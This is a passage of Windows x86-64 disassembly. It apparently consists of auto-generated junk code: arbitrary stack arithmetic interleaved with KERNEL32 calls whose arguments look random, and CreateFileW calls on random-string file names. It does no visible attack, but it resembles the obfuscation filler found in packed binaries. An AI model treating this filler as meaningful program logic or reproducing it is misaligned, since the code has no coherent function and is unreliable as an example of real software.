mov qword [rsp + 0xa2e8], rax
mov rax, qword [rsp + 0x9cb0]
movsx eax, word [rax]
movsx ecx, word [0x14022b820]
add eax, ecx
mov rcx, qword [rsp + 0x9ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x86c8]
movzx ecx, al
mov rax, qword [rsp + 0x9660]
shl rax, cl
mov qword [rsp + 0x8360], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rax, [rsp + 0x39dc]
mov qword [rsp + 0xa2f0], rax
movsx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x186], al
lea rax, [rsp + 0xa0e0]
mov qword [rsp + 0xa2f8], rax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c8c], ax
lea rdx, [rsp + 0x4808]
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47c4], eax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0x7f68]
sub rcx, rax
mov rax, rcx
mov qword [0x140229f48], rax
mov eax, dword [rsp + 0x45c8]
mov rcx, qword [rsp + 0x9b38]
mov qword [rsp + 0xa300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa300]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x39bc], eax
movzx eax, byte [rsp + 0x361]
mov byte [rsp + 0x365], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xc1be
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x470c], eax
movsx eax, word [rsp + 0x1394]
mov rcx, qword [0x14022b960]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b40]
mov ecx, dword [rsp + 0x475c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4780], eax
mov rcx, qword [rsp + 0x9f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x357]
mov qword [rsp + 0xa308], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1c94]
and eax, ecx
mov word [rsp + 0x1d28], ax
lea rax, [rsp + 0x15f8]
mov qword [0x14022b9a0], rax
mov rax, qword [rsp + 0x9810]
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0xa318], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa318]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8640], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b870]
mov rcx, qword [rsp + 0x9a80]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7e78], rax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
shl eax, cl
mov rcx, qword [rsp + 0x9c70]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.ZIT2ww71DCVw_nHhv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa320], rax
mov eax, dword [rsp + 0x47ac]
mov ecx, dword [rsp + 0x4764]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b40], eax
movzx eax, byte [rsp + 0x356]
mov byte [rsp + 0x366], al
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x75e8], rax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x147]
sub eax, ecx
mov byte [rsp + 0x2d6], al
mov eax, dword [rsp + 0x4758]
mov rcx, qword [rsp + 0x9bb0]
mov qword [rsp + 0xa328], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa328]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3db8], eax
mov r9d, 0xfcc
xor r8d, r8d
lea rdx, [rsp + 0x9f38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x45f8], eax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f84], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa3d8
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47dc], eax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c7c], ax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0xa040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0xa210]
mov eax, dword [rax]
mov dword [rsp + 0x480c], eax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x77b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9650], rax
movsx eax, byte [rsp + 0x343]
movsx ecx, byte [rsp + 0x357]
and eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov byte [rcx], al
movzx eax, word [rsp + 0xa2c]
mov word [rsp + 0x1d34], ax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa168]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x73c0]
sar rax, cl
mov qword [0x14022b838], rax
lea rax, [rsp + 0x1bc4]
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0xa298]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9810], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.OuXp5npScYPk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa340], rax
mov rax, qword [0x14022b980]
mov rcx, qword [rsp + 0x9c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7008], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x25a9
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4794], eax
mov rax, qword [rsp + 0x94a8]
mov rcx, qword [rsp + 0x9ef0]
mov qword [rsp + 0xa348], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa348]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa028]
mov ecx, dword [0x14022b878]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4778], eax
lea rcx, [rsp + 0xa2b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x34b]
mov qword [rsp + 0xa350], rax
mov rax, qword [rsp + 0x9b38]
mov ecx, dword [rsp + 0x45d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9bb0]
mov dword [rcx], eax
lea rdx, [rsp + 0x47ec]
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0x9b20]
movzx eax, byte [rax]
mov byte [rsp + 0x367], al
movsx eax, word [0x14022b98c]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f50], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x42ab
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x464c], eax
lea rcx, [rsp + 0xa358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cd8]
and eax, ecx
mov word [rsp + 0x1518], ax
lea rdx, [rsp + 0x46e8]
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46dc], eax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0xa198]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x968], ax
movzx eax, word [rsp + 0x1d18]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14e4], ax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa070]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x164]
mov byte [rsp + 0x368], al
mov rax, qword [rsp + 0x9990]
mov rcx, qword [rsp + 0x9d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d14], ax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
mov word [rsp + 0x1d38], ax
lea rax, [rsp + 0x9c80]
mov qword [0x14022b9a8], rax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0xa078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c50], rax
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [0x14022b830]
mov qword [rsp + 0xa360], rax
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x8360]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9198], rax
movzx eax, word [rsp + 0x17d0]
movzx ecx, word [rsp + 0x1a90]
xor eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
mov eax, dword [rsp + 0x47b8]
mov rcx, qword [rsp + 0x9f80]
mov qword [rsp + 0xa368], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ea8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.g56v7SiUWeVCAX8QRyZ7c3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa370], rax
mov rcx, qword [rsp + 0x9f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
xor r8d, r8d
mov edx, 0xf636
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x347], al
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [rsp + 0xa378], rax
mov rax, qword [rsp + 0x9c40]
mov rcx, qword [rsp + 0xa158]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4614], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa380], rax
movsx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14022b811], al
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c98]
add eax, ecx
mov word [rsp + 0xc24], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb3f8
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46e8], eax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d24]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cf8], ax
mov rax, qword [rsp + 0x7e78]
mov qword [rsp + 0xa388], rax
lea rdx, [rsp + 0x4814]
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4770], eax
movsx eax, byte [rsp + 0x363]
movsx ecx, byte [rsp + 0x358]
add eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x8d58]
mov qword [rsp + 0xa390], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4710], eax
movsx eax, word [rsp + 0x1d30]
movsx ecx, word [rsp + 0x1d28]
and eax, ecx
mov word [rsp + 0x86c], ax
lea rax, [0x14022b8e0]
mov qword [0x14022b9b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa260]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8330], rax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x87c]
or eax, ecx
mov rcx, qword [rsp + 0x9e08]
mov word [rcx], ax
mov eax, dword [rsp + 0x39b0]
mov dword [rsp + 0x4818], eax
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x344]
shl eax, cl
mov rcx, qword [rsp + 0x9fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa120]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x342], al
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9a00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x79f0], rax
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4374]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e04], eax
lea rdx, [rsp + 0x481c]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x470c], eax
mov rax, qword [rsp + 0xa1a8]
movzx eax, word [rax]
mov word [rsp + 0x1d3c], ax
movzx eax, word [rsp + 0x1a7c]
movzx ecx, word [rsp + 0x1660]
and eax, ecx
mov rcx, qword [0x14022b9b0]
mov word [rcx], ax
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8640]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7e78], rax
lea rdx, [rsp + 0x4820]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47c4], eax
lea rax, [rsp + 0x17d8]
mov qword [rsp + 0xa398], rax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbe0], ax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x364]
add eax, ecx
mov byte [rsp + 0x169], al
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x9670]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
mov r9d, 0x13df
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4810], eax
lea rax, [rsp + 0x4374]
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
mov rcx, qword [0x140229f48]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa180]
mov qword [rcx], rax
lea rdx, [rsp + 0x4824]
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
movzx eax, word [rsp + 0x156c]
mov word [0x14022b9b8], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
shl eax, cl
mov rcx, qword [rsp + 0x9e98]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rax, [0x140229f1d]
mov qword [rsp + 0xa3a8], rax
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x39bc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x25de
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0xa040]
mov qword [rsp + 0xa3b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.ZLS3fOreCzVNvctxqv5cJ6cE8q4H
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa3b8], rax
mov rax, qword [rsp + 0x9670]
movzx ecx, al
mov rax, qword [rsp + 0x7f78]
shr rax, cl
mov rcx, qword [rsp + 0x9e00]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x274]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov byte [rcx], al
lea rax, [rsp + 0x47e4]
mov qword [rsp + 0xa3c0], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d14], ax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b8d0], ax
mov rcx, qword [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9d90]
mov qword [rsp + 0xa3c8], rax
lea rdx, [rsp + 0x4828]
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d0]
add eax, ecx
mov word [rsp + 0x1d08], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8f73
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4724], eax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c98]
and eax, ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x7278]
mov qword [rsp + 0xa3d0], rax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b08], rax
lea rax, [rsp + 0x41b0]
mov qword [rsp + 0xa3d8], rax
movsx eax, byte [rsp + 0x355]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x367], al
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
sub eax, ecx
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0x9c80]
mov qword [0x14022b9c0], rax
mov eax, dword [rsp + 0x47c0]
mov ecx, dword [rsp + 0x4658]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa258]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x344], al
mov r9d, 0x1f29
xor r8d, r8d
lea rdx, [rsp + 0x9d50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4728], eax
movzx eax, word [rsp + 0x1c90]
mov word [rsp + 0x1d40], ax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d10]
or eax, ecx
mov word [rsp + 0x968], ax
lea rax, [rsp + 0x9f70]
mov qword [rsp + 0xa3e0], rax
mov rax, qword [rsp + 0xa158]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9990]
mov qword [rsp + 0xa3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x39dc], eax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
movsx eax, word [rsp + 0xa2c]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16dc], ax
movzx eax, word [rsp + 0x1a7c]
movzx ecx, word [rsp + 0x17d0]
sar eax, cl
mov word [0x14022b8e0], ax
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0x9710]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ca8]
mov qword [rsp + 0xa3f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.pdoqfIIyw5cDSj9R0jm1hLgwL6TJoqz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa3f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0x7f68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d50], rax
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov qword [rsp + 0xa400], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [0x14022b878]
mov ecx, dword [rsp + 0x4374]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47e4], eax
lea rax, [rsp + 0x34c]
mov qword [rsp + 0xa408], rax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x354]
sar eax, cl
mov byte [rsp + 0x1ca], al
mov eax, dword [rsp + 0x4760]
mov rcx, qword [rsp + 0x9be0]
mov qword [rsp + 0xa410], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa410]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4758], eax
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1cd8]
movsx ecx, word [rsp + 0x1d14]
xor eax, ecx
mov word [0x140229f88], ax
movzx eax, word [rsp + 0x1cf8]
movzx ecx, word [rsp + 0x14e4]
or eax, ecx
mov word [rsp + 0x1a94], ax
movzx eax, word [rsp + 0x1cd0]
movzx ecx, word [rsp + 0x176c]
sub eax, ecx
mov word [rsp + 0x14e4], ax
lea rax, [rsp + 0x86c8]
mov qword [rsp + 0xa418], rax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [rsp + 0x6fd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x9d60]
mov eax, dword [rax]
mov dword [rsp + 0x482c], eax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x355], al
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cdc], ax
lea rax, [rsp + 0x1ce0]
mov qword [rsp + 0xa420], rax
mov rax, qword [rsp + 0x7e78]
mov rcx, qword [rsp + 0x86c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b8d8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x884]
movzx ecx, word [rsp + 0x1cb0]
add eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
lea rax, [rsp + 0x9cf0]
mov qword [rsp + 0xa428], rax
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa068]
mov rcx, qword [rsp + 0x98c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b811]
and eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x9870]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7458], rax
movzx eax, byte [rsp + 0x35d]
movzx ecx, byte [0x140229f1d]
sar eax, cl
mov rcx, qword [rsp + 0xa1b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4750]
mov dword [rsp + 0x4830], eax
mov rax, qword [rsp + 0xa048]
mov ecx, dword [rsp + 0x4710]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x477c], eax
lea rax, [rsp + 0x1c9c]
mov qword [0x14022b9c8], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov word [rcx], ax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xa430], rax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d10], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe952
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4684], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0x480c]
mov dword [rsp + 0x4834], eax
movsx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x363], al
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0x9ec0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x72a0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa438], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
add eax, ecx
